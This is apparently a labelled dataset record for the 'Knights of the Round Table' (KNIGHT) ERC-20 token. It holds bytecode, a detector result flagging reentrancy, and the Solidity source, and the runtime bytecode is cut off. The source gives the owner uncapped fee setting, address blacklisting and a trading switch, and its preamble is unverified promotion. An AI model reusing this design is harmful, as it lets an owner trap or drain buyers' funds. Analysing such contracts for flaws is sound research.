fffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef813b1e9be698c72c6ea743eb90033539fa186835b70b388fae3e4b3873b98364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,182
0xc6c3fa0c6f59640da71ac4b4dbdd65a673d07c42
// SPDX-License-Identifier: Unlicensed /** ▒█░▄▀ ▀█▀ ▒█▄░▒█ ▒█▀▀█   ░█▀▀█ ▒█▀▀█ ▀▀█▀▀ ▒█░▒█ ▒█░▒█ ▒█▀▀█   ░█▀▀█ ▒█▄░▒█ ▒█▀▀▄   ▒█░▄▀ ▒█▄░▒█ ▀█▀ ▒█▀▀█ ▒█░▒█ ▀▀█▀▀ ▒█▀▀▀█ ▒█▀▄░ ▒█░ ▒█▒█▒█ ▒█░▄▄   ▒█▄▄█ ▒█▄▄▀ ░▒█░░ ▒█▀▀█ ▒█░▒█ ▒█▄▄▀   ▒█▄▄█ ▒█▒█▒█ ▒█░▒█   ▒█▀▄░ ▒█▒█▒█ ▒█░ ▒█░▄▄ ▒█▀▀█ ░▒█░░ ░▀▀▀▄▄ ▒█░▒█ ▄█▄ ▒█░░▀█ ▒█▄▄█   ▒█░▒█ ▒█░▒█ ░▒█░░ ▒█░▒█ ░▀▄▄▀ ▒█░▒█   ▒█░▒█ ▒█░░▀█ ▒█▄▄▀   ▒█░▒█ ▒█░░▀█ ▄█▄ ▒█▄▄█ ▒█░▒█ ░▒█░░ ▒█▄▄▄█ The round table means "equality" and "unity", knights charge the field of battle and discuss domestic affairs at round tables. Although they could form factions based on their political views, it was only at the round table that there were no differences of rank or rank between Kings and ministers, and everyone was allowed to speak freely. We also have 12 guardians, half from the blockchain industry and half from other real economy industries. Why is that? Six of them were leaders with blockchain influence, while the other six were from Internet companies, fashion designers, investment banks and real estate developers. Although they are not as influential as CULT guardians, their industry distribution is more complete. Our purpose is only one, to establish blockchain is a decentralized real economy venture organization, which is why we invited six non-blockchain experts. **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KNIGHT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Knights of the Round Table"; string private constant _symbol = "KNIGHT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1200000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4359818a5210a48ce3dB3E58eAb7095101685d92); address payable private _marketingAddress = payable(0x4359818a5210a48ce3dB3E58eAb7095101685d92); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 60000000012 * 10**9; uint256 public _maxWalletSize = 60000000012 * 10**9; uint256 public _swapTokensAtAmount = 12000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461056b578063dd62ed3e1461058b578063ea1644d5146105d1578063f2fde38b146105f157600080fd5b8063a2a957bb146104e6578063a9059cbb14610506578063bfd7928414610526578063c3c8cd801461055657600080fd5b80638f70ccf7116100d15780638f70ccf7146104615780638f9a55c01461048157806395d89b411461049757806398a5c315146104c657600080fd5b80637d1db4a5146104005780637f2feddc146104165780638da5cb5b1461044357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039657806370a08231146103ab578063715018a6146103cb57806374010ece146103e057600080fd5b8063313ce5671461031a57806349bd5a5e146103365780636b999053146103565780636d8aa8f81461037657600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e45780632fd689e31461030457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196b565b610611565b005b34801561020a57600080fd5b5060408051808201909152601a81527f4b6e6967687473206f662074686520526f756e64205461626c6500000000000060208201525b60405161024d9190611a30565b60405180910390f35b34801561026257600080fd5b50610276610271366004611a85565b6106b0565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b5068410d586a20a4c000005b60405190815260200161024d565b3480156102f057600080fd5b506102766102ff366004611ab1565b6106c7565b34801561031057600080fd5b506102d660185481565b34801561032657600080fd5b506040516009815260200161024d565b34801561034257600080fd5b506015546102a6906001600160a01b031681565b34801561036257600080fd5b506101fc610371366004611af2565b610730565b34801561038257600080fd5b506101fc610391366004611b1f565b61077b565b3480156103a257600080fd5b506101fc6107c3565b3480156103b757600080fd5b506102d66103c6366004611af2565b61080e565b3480156103d757600080fd5b506101fc610830565b3480156103ec57600080fd5b506101fc6103fb366004611b3a565b6108a4565b34801561040c57600080fd5b506102d660165481565b34801561042257600080fd5b506102d6610431366004611af2565b60116020526000908152604090205481565b34801561044f57600080fd5b506000546001600160a01b03166102a6565b34801561046d57600080fd5b506101fc61047c366004611b1f565b6108d3565b34801561048d57600080fd5b506102d660175481565b3480156104a357600080fd5b5060408051808201909152600681526512d39251d21560d21b6020820152610240565b3480156104d257600080fd5b506101fc6104e1366004611b3a565b61091b565b3480156104f257600080fd5b506101fc610501366004611b53565b61094a565b34801561051257600080fd5b50610276610521366004611a85565b610988565b34801561053257600080fd5b50610276610541366004611af2565b60106020526000908152604090205460ff1681565b34801561056257600080fd5b506101fc610995565b34801561057757600080fd5b506101fc610586366004611b85565b6109e9565b34801561059757600080fd5b506102d66105a6366004611c09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105dd57600080fd5b506101fc6105ec366004611b3a565b610a8a565b3480156105fd57600080fd5b506101fc61060c366004611af2565b610ab9565b6000546001600160a01b031633146106445760405162461bcd60e51b815260040161063b90611c42565b60405180910390fd5b60005b81518110156106ac5760016010600084848151811061066857610668611c77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a481611ca3565b915050610647565b5050565b60006106bd338484610ba3565b5060015b92915050565b60006106d4848484610cc7565b610726843361072185604051806060016040528060288152602001611dbb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611203565b610ba3565b5060019392505050565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260040161063b90611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161063b90611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f857506013546001600160a01b0316336001600160a01b0316145b61080157600080fd5b4761080b8161123d565b50565b6001600160a01b0381166000908152600260205260408120546106c190611277565b6000546001600160a01b0316331461085a5760405162461bcd60e51b815260040161063b90611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ce5760405162461bcd60e51b815260040161063b90611c42565b601655565b6000546001600160a01b031633146108fd5760405162461bcd60e51b815260040161063b90611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109455760405162461bcd60e51b815260040161063b90611c42565b601855565b6000546001600160a01b031633146109745760405162461bcd60e51b815260040161063b90611c42565b600893909355600a91909155600955600b55565b60006106bd338484610cc7565b6012546001600160a01b0316336001600160a01b031614806109ca57506013546001600